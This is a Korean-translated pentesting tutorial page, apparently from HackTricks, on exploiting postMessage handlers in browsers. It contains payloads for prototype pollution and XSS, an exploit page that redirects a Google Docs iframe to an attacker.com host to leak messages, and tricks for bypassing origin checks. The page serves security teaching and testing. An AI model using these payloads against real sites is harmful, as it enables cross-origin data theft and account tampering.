hacktricks/pentesting-web/postmessage-vulnerabilities
2024-02-10 21:30:13 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Korean 2024-02-10 21:30:13 +00:00
bypassing-sop-with-iframes-1.md Translated to Korean 2024-02-10 21:30:13 +00:00
bypassing-sop-with-iframes-2.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated to Korean 2024-02-10 21:30:13 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Korean 2024-02-10 21:30:13 +00:00

PostMessage 취약점

PostMessage 취약점

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

PostMessage 보내기

PostMessage는 다음 함수를 사용하여 메시지를 보냅니다:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin은 '*' 또는 _https://company.com_과 같은 URL일 수 있습니다.
두 번째 시나리오에서는 메시지를 해당 도메인으로만 보낼 수 있습니다(창 객체의 출처가 다른 경우에도 해당됨).
와일드카드를 사용하면 메시지를 어떤 도메인으로든 보낼 수 있으며, 창 객체의 출처로 보내집니다.

iframe 및 targetOrigin에서의 와일드카드 공격

이 보고서에서 설명한대로, iframed될 수 있는 페이지(X-Frame-Header 보호 없음)를 찾고, 와일드카드(*)를 사용하여 postMessage를 통해 민감한 메시지를 보내는 경우, iframe출처수정하여 민감한 메시지를 자신이 제어하는 도메인으로 유출할 수 있습니다.
페이지가 iframed될 수 있지만 targetOriginURL로 설정되어 있고 와일드카드가 아닌 경우, 이 트릭은 작동하지 않습니다.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 악용

**addEventListener**은 JS에서 postMessages를 기대하는 함수를 선언하는 데 사용됩니다.
다음과 유사한 코드가 사용될 것입니다:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

이 경우 코드가 하는 첫 번째 작업origin을 확인하는 것입니다. 이는 페이지가 받은 정보로 민감한 작업(예: 비밀번호 변경)을 수행할 경우에 특히 중요합니다. 만약 origin을 확인하지 않으면 공격자는 희생자로부터 임의의 데이터를 이 엔드포인트로 보내 비밀번호를 변경할 수 있습니다(이 예시에서).

열거

현재 페이지에서 이벤트 리스너를 찾기 위해 다음을 수행할 수 있습니다:

  • JS 코드에서 window.addEventListener$(window).on(JQuery 버전)을 검색합니다.
  • 개발자 도구 콘솔에서 다음을 실행합니다: getEventListeners(window)

  • 브라우저의 개발자 도구에서 _Elements --> Event Listeners_로 이동합니다.

Origin 확인 우회

  • event.isTrusted 속성은 진짜 사용자 동작으로 생성된 이벤트에 대해서만 True를 반환하므로 안전하다고 간주됩니다. 올바르게 구현된 경우 우회하기 어렵지만, 보안 검사에서의 중요성은 주목할 만합니다.

  • PostMessage 이벤트에서 origin 유효성 검사를 위해 **indexOf()**를 사용하는 것은 우회될 수 있습니다. 이 취약점을 설명하는 예시는 다음과 같습니다:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()search() 메서드는 정규식을 위해 사용되는 것이며, 문자열에는 사용되지 않습니다. 정규식 이외의 것을 전달하면 암묵적으로 정규식으로 변환되어 메서드가 잠재적으로 보안에 취약해집니다. 이는 정규식에서 마침표(.)가 와일드카드로 작동하기 때문에 특수하게 만들어진 도메인으로 유효성 검사를 우회할 수 있기 때문입니다. 예를 들면 다음과 같습니다:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • search()와 유사한 match() 함수는 정규식을 처리합니다. 정규식이 잘못 구성된 경우 우회될 수 있습니다.

  • escapeHtml 함수는 문자를 이스케이프하여 입력을 살균하는 것을 목적으로 합니다. 그러나 이 함수는 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체의 속성이 hasOwnProperty를 인식하지 않는다면 escapeHtml은 예상대로 작동하지 않을 것입니다. 아래의 예시에서 이를 확인할 수 있습니다:

  • 예상된 실패:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • 이스케이프 우회:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

이 취약점의 문맥에서 File 객체는 읽기 전용 name 속성으로 인해 취약점이 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml 함수에 의해 살균되지 않으므로 보안 위험을 야기할 수 있습니다.

  • JavaScript의 document.domain 속성은 스크립트에 의해 도메인을 단축시킬 수 있으며, 동일한 상위 도메인 내에서 보다 유연한 동일 출처 정책 적용을 가능하게 합니다.

e.origin == window.origin 우회

%%%